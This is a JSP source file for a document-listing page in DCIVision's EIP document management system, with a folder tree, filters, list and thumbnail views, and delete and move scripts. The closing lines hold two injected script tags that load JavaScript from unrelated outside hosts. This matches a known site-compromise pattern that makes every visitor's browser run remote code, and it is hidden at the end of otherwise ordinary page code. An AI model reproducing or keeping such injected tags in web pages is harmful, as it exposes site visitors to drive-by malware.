<%
/*
 * @(#)ListDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsDocument.jsp

  This is a ListDmsDocument page.  It shows the active documents' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.230.2.47 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.text.NumberFormat"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "dmsDocumentList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_size", "ITEM_SIZE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.description", "DESCRIPTION"},
                            {"dms.label.reference_no", "REFERENCE_NO"}
                          };

  int     COLUMN_OFFSET = 1;

  String pageURL ="";
  String pageFlag = "listDmsDocument";

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = listDmsDocumentForm.getRootID();
  String parentID = listDmsDocumentForm.getParentID();
  Integer curDocID = new Integer(parentID);
  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  List sysUDFList=(List)request.getAttribute("sysUDFList");
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, curDocID);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  DmsDocument parentDoc = (DmsDocument)docRetrievalManager.getDocument(TextUtility.parseIntegerObj(parentID));
  DmsRootDAObject dmsRootDAObject = new DmsRootDAObject(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  //String sCurFunctionCode = (String)listDmsDocumentForm.getCurFunctionCode(); //request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY);
  DmsDocumentDAObject dmsDAObject = new DmsDocumentDAObject(sessionContainer,conn);
  String sCurFunctionCode = listDmsDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsDocumentForm.getCurFunctionCode();
  String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);

   if(!Utility.isEmpty(showDefaultProfile)){
     String[] checkCustomFieldArray = (String[]) TextUtility.splitString(showDefaultProfile, "|");
     if(checkCustomFieldArray.length != 3 ){
     showDefaultProfile += "||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
     }
   }else{
     showDefaultProfile ="||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
   }

  List dmsDocumentList=(List)request.getAttribute("dmsDocumentList");
   List workflowRelationshipList = (List)request.getAttribute("workflowRelationshipList");
  int selectAccount=0;
  int noSelectAccount=0;

  pageURL ="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&curFunctionCode="+sCurFunctionCode;
  pageURL =java.net.URLEncoder.encode(pageURL);
%>
<script language="JavaScript">

var j=0;
var m=0;

function OpCustThumbnailView(frm){
    frm.pageViewOption.value='T';
    frm.submit();
}

function OpCustListView(frm){
    frm.pageViewOption.value='';
    frm.submit();
}

function OpCustListReset(frm) {
  frm.displayOption.value = '<%=ListDmsPublicDocumentForm.DEFAULT_DISPLAY_DOC_TYPE%>';
  return OpListReset(frm);
}

function OpCustListDelete(frm){
  var blnNotHasChecked = true;
  var urlQueryString = "";
  if (frm==null) frm = document.listDmsDocumentForm;
  var form = document.listDmsDocumentForm;
  var basicSelectedID = document.listDmsDocumentForm.basicSelectedID;
  if(basicSelectedID == null) return false;//joan.xiong add code for bug EIP-1045 by 2006/12/01
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      blnNotHasChecked = false;
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
    }
  }
  if (blnNotHasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }else {
    send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&date="+new Date());
    var relationshipIds = http_request.responseText;
    var relationshipWarningURL = "RelationshipWarning.do?";
    if (relationshipIds.indexOf("RETIDS")!=-1) {
      relationshipWarningURL += relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
      relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
      //OpenCenteredPopup(relationshipWarningURL+"&formName="+frm.name+"&date="+new Date(), "RelationshipWarning", "800", "400", "scrollbars=yes,resizable=no");
      frameDlg.setUrl(relationshipWarningURL);
      //cClick();
      frameDlg.show();
    }else if (relationshipIds.indexOf("ERROR")!=-1) {
      alert("Error cause by:"+relationshipIds);
    }else {
      OpListDelete(frm);
    }
  }
}

var hasWarning=false;
function SetCheck(docID,funFlag) {
  hasWarning=true;
  if (parseInt(document.listDmsDocumentForm.basicSelectedID.length)>1) {
    for (var i=0;i<parseInt(document.listDmsDocumentForm.basicSelectedID.length);i++) {
      if (document.listDmsDocumentForm.basicSelectedID[i].value==docID) {
        document.listDmsDocumentForm.basicSelectedID[i].checked=false;
      }
    }
  } else {
    if (document.listDmsDocumentForm.basicSelectedID.value==docID) {
      document.listDmsDocumentForm.basicSelectedID.checked=false;
    }
  }

}

function OpSelfListDelete(){
  var checkedCount=0;
  var selectedID = parseInt(document.listDmsDocumentForm.basicSelectedID.length);
  if (parseInt(document.listDmsDocumentForm.basicSelectedID.length)>1) {
    for (var i=0; i<parseInt(document.listDmsDocumentForm.basicSelectedID.length); i++) {
      if (document.listDmsDocumentForm.basicSelectedID[i].checked==true) {
         checkedCount++;
      }
    }
  } else {
    if(document.listDmsDocumentForm.basicSelectedID.checked==true){
       checkedCount++;
    }
  }
  if(hasWarning==false || checkedCount>0){
    return OpListDelete();
  }
}

function getOtherPage(docID, funFlag,lockUserID,checkUnload,returnTo) {
  if(checkUnload==true){
    if(funFlag=="delete"){
      alert("<bean:message key='dms.message.delete_aborted'/>");
    }else if(funFlag=="move"){
      alert("<bean:message key='dms.message.move_aborted'/>");
    }else if(funFlag=="update"){
      alert("<bean:message key='dms.message.update_aborted'/>");
    }
  }else{
    if (funFlag=="move") {
      window.location.href="MaintDmsDocument.do?opMode=<%=DmsOperationConstant.MOVE_OPERATION%>" + "&ID=" + docID+ "&parentID=<%=parentID%>&rootID=<%=rootID%>&curFunctionCode=<%=sCurFunctionCode%>&returnTo="+returnTo;
    } else if(funFlag=="update") {
      window.location.href="MaintDmsCheckout.do?navMode=<%=DmsOperationConstant.CHECKOUT_CHECK%>&opMode=<%=DmsOperationConstant.CHECKOUT_CHECK%>&documentID=" + docID + "&parentID=<%=parentID%>&rootID=<%=rootID%>&curFunctionCode=<%=sCurFunctionCode%>&directPage=<%=DmsOperationConstant.LIST_PERSONAL_PAGE%>&returnTo="+returnTo;
    }
  }
}

function hideNewShortcutDialog(){
  frameDlg.hide();
}

function hideRelationshipDialog(){
  frameDlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.listDmsDocumentForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.listDmsDocumentForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

function popupNewShortcut(url){
  try{
    frameDlg.setUrl(url);
    cClick();
    frameDlg.show();
  } catch(e) {

  }
}

function getDetail() {
  document.listDmsDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  document.listDmsDocumentForm.submit();
}
//The current default system preference is preference3
var topOffset = 149;

-->
</script>

<!-- Menu Layer Begin -->
<div id="NewObjectMenuLayer" style="left:0px;top:0px;">
  <ul>
  	<li>
  	<a href="MaintDmsDocument.do?documentType=<%=DmsDocument.DOCUMENT_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_document"/></a>
  	</li>
  	<%if(DmsDocument.FOLDER_TYPE.equals(parentDoc.getDocumentType())){ %>
  	<li>
  	<a href="MaintDmsDocument.do?documentType=<%=DmsDocument.FOLDER_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_folder"/></a>
  	</li>
  	<%}%>
  	<li>
  	<a href="MaintMtmDocumentRelationship.do?relationshipType=<%=DmsDocument.DOCUMENT_LINK%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_shortcut"/></a>
  	</li>
  	<%if(DmsDocument.FOLDER_TYPE.equals(parentDoc.getDocumentType())){ %>
  	<logic:permission objectType='' functionCode='<%=SystemFunctionConstant.DMS_EMPTY_FILE%>' right='I'>
  	<li><a href="MaintDmsEmptyDocument.do?opMode=<%=DmsOperationConstant.CREATE_EMPTY_FILE%>&documentType=<%=DmsDocument.DOCUMENT_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_reference"/></a></li>
  	</logic:permission>
  	<logic:permission objectType='' functionCode='<%=SystemFunctionConstant.DMS_COMPOUND_DOCUMENT%>' right='I'>
  	<li><a href="MaintDmsCompoundDocument.do?documentType=<%=DmsDocument.COMPOUND_DOC_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_compound_document"/></a></li>
  	</logic:permission>
  	<%}%>
  	<%if("true".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_ENABLE_PAPER_DOCUMENT))){%>
  	<%if(DmsDocument.FOLDER_TYPE.equals(parentDoc.getDocumentType())){ %>
  	<logic:permission objectType='' functionCode='<%=SystemFunctionConstant.DMS_PAPER_DOCUMENT%>' right='I'>
    <li><a href="MaintDmsPaperDocument.do?documentType=<%=DmsDocument.PAPER_DOC_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_paper_document"/></a></li>
    </logic:permission>
    <%}%>
    <%}%>
  </ul>
</div>
<!-- Menu Layer End   -->

<!-- Form Section Begin -->
<html:form action="dms/ListDmsDocument" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="pageViewOption"/>
<html:hidden property="ignoreDeleteShortcut"/>
<html:hidden property="displayOption"/>
<input type="hidden" name="selectAccount" value="<%=selectAccount%>">
<input type="hidden" name="noSelectAccount" value="<%=noSelectAccount%>">
<input type="hidden" name="searchFolder" value="<%=rootID%>"/>

<%try {%>
<layout:listBar>
    <div class="button">
        <layout:returnButton className="but-standard"/>
        <span class="but-colheader">
            <a href="MaintDmsDocument.do?documentType=<%=DmsDocument.DOCUMENT_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&curFunctionCode=<%=sCurFunctionCode%>"><div class="but_left"><html:img imageName="MenuButtonNew" src="LayoutSpacer.gif" width="0"/></div><span style="width:50px" class="text"><bean:message key="common.label.new"/></span></a>
            <a href="javascript:showNewObjectMenu();"><div class="but_right_arrow" style="cursor:hand"></div></a>
        </span>
        <%if(!DmsDocument.COMPOUND_DOC_TYPE.equals(parentDoc.getDocumentType()) && !DmsDocument.PAPER_DOC_TYPE.equals(parentDoc.getDocumentType())){ %>
        <html:colheaderButton label="dms.label.clip" onClick="return(OpClipboard(listDmsDocumentForm))"/>
        <%}%>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" objectType="D" objectID="<%=curDocID%>" label="common.label.delete" onClick="return(OpCustListDelete(listDmsDocumentForm))"/>
        <%if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_ENABLE_THUMBNAIL_VIEW)) {%>
        <%if (Utility.isEmpty(listDmsDocumentForm.getPageViewOption())) {%>
        <html:colheaderButton label="dms.label.thumbnail_view" onClick="return(OpCustThumbnailView(listDmsDocumentForm));"/>
        <%} else if ("T".equals(listDmsDocumentForm.getPageViewOption())) {%>
        <html:colheaderButton label="dms.label.list_view" onClick="return(OpCustListView(listDmsDocumentForm));"/>
        <%}%>
        <%}%>
        <!-- Document profile added to filter the document end -->
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
            <%if (!Utility.isEmpty(sysUDFList)){%>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key='dms.label.user_defined_index'/>:</td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='userDefinedFieldID' onchange='getDetail()'>
                    <html:options dbListName='dmsUserDefinedIndexList' displayLabel='common.options.select_menu.all'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>&nbsp;</td>
            </tr>
            <%}%>
            <tr>
                <td class="filterPanelItem" rowspan="3" nowrap>File Type:</td>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="D" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_D'/></td>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="C" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_C'/></td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="Z" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_Z'/></td>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="E" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_E'/></td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="L" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_L'/></td>
              <% if(com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_PAPER_DOCUMENT)){ %>                    	
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="H" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_H'/></td>
              <%}else{%>                
                <td class="filterPanelItem" nowrap>&nbsp;</td>
              <%}%>                                
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsDocumentForm, '${listDmsDocumentForm.sortAttribute}', '${listDmsDocumentForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpCustListReset(listDmsDocumentForm))"/>
    </div>
    <br style="clear:both" />
    <script language="JavaScript">
    <!--
    popuplateFileType();

    function filterFileType(fileType){
        listDmsDocumentForm.displayOption.value = '';
        for(i=0;i < listDmsDocumentForm.fileType.length;i++){
            if(listDmsDocumentForm.fileType[i] && listDmsDocumentForm.fileType[i].checked){
                listDmsDocumentForm.displayOption.value += listDmsDocumentForm.fileType[i].value;
            }
        }
    }
    function popuplateFileType(){
        for(i=0;i < listDmsDocumentForm.fileType.length;i++){
            if(listDmsDocumentForm.displayOption.value.indexOf(listDmsDocumentForm.fileType[i].value) > -1){
                listDmsDocumentForm.fileType[i].checked = true;
            }
        }
    }

    //-->
    </script>
</div>

<div>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td valign="top" class="dtreeContainer">
<div id="treeContainer">
  <!-- Hierarchy Tree Begin -->
<%
  String jspPageMappingName = "ListDmsDocument";
  String pageViewOption = listDmsDocumentForm.getPageViewOption();
  if(Utility.isEmpty(pageViewOption) || "null".equals(pageViewOption)){
    pageViewOption="";
  }
%>
<script language="JavaScript">
<!--
function handleTreeNodeGeneralDoc(docID,rootID){
  document.listDmsDocumentForm.parentID.value=docID;
  document.listDmsDocumentForm.rootID.value=rootID;
  document.listDmsDocumentForm.pageViewOption.value="<%=pageViewOption%>";
  document.listDmsDocumentForm.submit();
}

function handleTreeNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}


function setHiddenValue(parentID, rootID,documentType) {

  var targetLoc = tree.getFullPathString();

  //document.listDmsDocumentForm.destinationPath.value=replaceSpecialChar(targetLoc.substring(0, targetLoc.length-1));
  document.listDmsDocumentForm.parentID.value=parentID;
  document.listDmsDocumentForm.rootID.value=rootID;
  document.listDmsDocumentForm.submit();
}

function clickNodeAction(tree, node) {
  handleTreeNodeGeneralDoc(node.id, tree.rootId);
}
//-->
</script>
<div id="treeFrame" class="dtreeContainer">
<dms:tree name='<%="pedoc"+rootID%>' rootId="<%=rootID%>" expandId="<%=parentID%>"></dms:tree>
</div>
<script language="javascript">
<!--
  var divHeight = (<%=listDmsDocumentForm.getPageOffset()%>)*(21)+23+24;
  FindObj("treeFrame").style.height = divHeight+"px";
-->
</script>
<!-- Hierarchy Tree End -->
</div>
</td>
<td valign="top">
<div id="listContainer">
<%if (Utility.isEmpty(listDmsDocumentForm.getPageViewOption())) {%>
<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsDocumentForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsDocumentForm.getSortOrder()%>" copyColumn="false" showValue="<%=showDefaultProfile%>" displayObjListName="DMS_DEF_PROFILE" showAfter="3"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>"  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
    <td>
    <%
      permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((AbstractBaseObject)dmsDocument).getID());
      String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    %>
        <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>
        <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
        <% } else { %>
        <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
        <% } %>
    </td>
    <td align="center"><dms:contextMenu/></td>
    <td nowrap>
      <nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='R' rootDocument='<%=rootFolder%>' pageFlag='<%=pageFlag%>'/></nobr>
    </td>
    <td align="center" nowrap>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())||
      DmsDocument.COMPOUND_DOC_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType()) || DmsDocument.EMAIL_DOC_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        } else {%>
          <%=GlobalConstant.EMPTY_FIELD%>
        <%}%>
    </td>
    <dms:commonIndex id="setting" includeSystemProfile="true" enableDisplayFilter="true" documentBean="dmsDocument">
    <td><dms:commonIndexValue/></td>
    </dms:commonIndex>
    <td nowrap><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td><bean:write name='dmsDocument' property='updaterName'/>
    <input type="hidden" name="hasRelationship" value="<bean:write name='dmsDocument' property='hasRelationship'/>">
</td>

  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
 </table>
</div>
<!-- Table Showing Record List End -->
<%} else if ("T".equals(listDmsDocumentForm.getPageViewOption())) {%>
<%
int thumbDim = 110;
int numOfImg = 5;
%>
<!-- Thumbnail Showing Record List Begin -->
<div id="dataGrid" class="thumbnailList">
<table cellpadding="0" cellspacing="0" border="0">
<logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
<%if (((Integer)listLoopCnt).intValue()%numOfImg==0) {%>
  <tr>
<%}%>
    <td align="center" valign="top">
    	<table width="100%" cellpadding="0" cellspacing="0" border="0">
    		<tr>
    			<td align="center">
    			<table cellpadding="0" cellspacing="0" border="0" class="iconWrapper"><tr><td>
            <%DmsDocument tmpDoc = (DmsDocument)dmsDocument;%>
            <%if (DmsDocument.FOLDER_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())) {%>
            <html:img src='IconDMSFolder.gif'  width='48' height='48'/>
            <%} else if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())) {%>
              <%if (com.dcivision.framework.image.ThumbnailGenerator.isSupport(TextUtility.getExtension(((DmsDocument)dmsDocument).getDocumentName()))) {%>
              <img src="<%=request.getContextPath()%>/jsp/dms/Thumbnail.jsp?thumDim=<%=thumbDim%>&ID=<%=((DmsDocument)dmsDocument).getID()%>&version=<%=DmsOperationConstant.DMS_TOP_VERSION%>" border="0">
              <%} else {%>
              <dms:extImg fileName='<%=tmpDoc.getDocumentName()%>' docType='<%=tmpDoc.getDocumentType()%>' width='48' height='48'/>
              <%}%>
            <%} else {%>
              <dms:extImg fileName='<%=tmpDoc.getDocumentName()%>' docType='<%=tmpDoc.getDocumentType()%>' width='48' height='48'/>
            <%}%>
            	</td></tr></table>
    			</td>
    		</tr>
    		<tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>"  onmousedown="ToggleDefaultCheckbox(<%=((AbstractBaseObject)dmsDocument).getID()%>);">
    			<td align="center">
        <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
        <dms:contextMenu/>
    			</td>
    		</tr>
    		<tr>
    			<td align="center">
        <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='R' rootDocument='<%=rootFolder%>' pageFlag='<%=pageFlag%>'/>
<input type="hidden" name="hasRelationship" value="<bean:write name='dmsDocument' property='hasRelationship'/>">
    			</td>
    		</tr>
    	</table>
    </td>
<%if (((Integer)listLoopCnt).intValue()%numOfImg==numOfImg-1 || ((Integer)listLoopCnt).intValue()==((List)request.getAttribute(LIST_NAME)).size()-1) {%>
  </tr>
<tr><td colspan="<%=numOfImg%>"><html:img src='LayoutSpacer.gif'  height='30'/></td></tr>
<%}%>
</logic:iterate>
<!-- Record Looping End -->
</table>
</div>
<!-- Thumbnail Showing Record List End -->
<%}%>

<!-- Pager Information Begin -->
<div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
  <layout:pager form="listDmsDocumentForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->
</div>
</td></tr>
</table>
</div>
<br>
<script>addLoadEvent(function(){SetDivHeight('listContainer', 'treeContainer')});</script>
<jsp:include page="AlertLegend.jsp"/>

<%}catch (Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }%>
</html:form>
<!-- Form Section End -->

<script language='javascript'>
<!--
  function clipbordInvite(docID){
  try{
    var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
    var ni = document.createElement("iFrame");
    ni.setAttribute("src",url);
    ni.setAttribute("scrolling","yes");
    ni.setAttribute("frameborder","no");
    ni.setAttribute("width","100%");
    ni.setAttribute("height","100%");
    ni.setAttribute("id","ifram1");
    document.getElementById("NewDocumentInvitation").appendChild(ni);
    document.getElementById("NewDocumentInvitation").style["display"]="";

    var loadFrame = document.getElementById("NewDocumentInvitation");

    loadFrame.style.width="780";
    loadFrame.style.height = "600";
    loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
    loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
    DimBackgroud(null,false);
  }catch(e){}

  }
//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>